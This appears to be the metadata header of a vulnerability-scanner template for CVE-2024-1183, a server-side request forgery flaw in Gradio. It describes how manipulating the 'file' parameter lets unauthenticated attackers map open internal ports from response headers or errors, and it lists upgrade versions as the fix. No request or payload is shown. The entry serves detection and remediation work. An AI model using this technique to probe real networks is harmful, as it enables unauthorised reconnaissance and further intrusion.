Gradio - Server Side Request Forgery

id: CVE-2024-1183

info:
  name: Gradio - Server Side Request Forgery
  author: DhiyaneshDK
  severity: medium
  description: |
    An SSRF (Server-Side Request Forgery) vulnerability exists in the gradio-app/gradio repository, allowing attackers to scan and identify open ports within an internal network. By manipulating the 'file' parameter in a GET request, an attacker can discern the status of internal ports based on the presence of a 'Location' header or a 'File not allowed' error in the response.
  impact: |
    Unauthenticated attackers can perform SSRF attacks to scan and identify open ports within internal networks, potentially facilitating further attacks.
  remediation: |
    Upgrade Gradio to version 3.33 or later (for Gradio < 3.x) or version 4.11 or later (for Gradio 4.x).
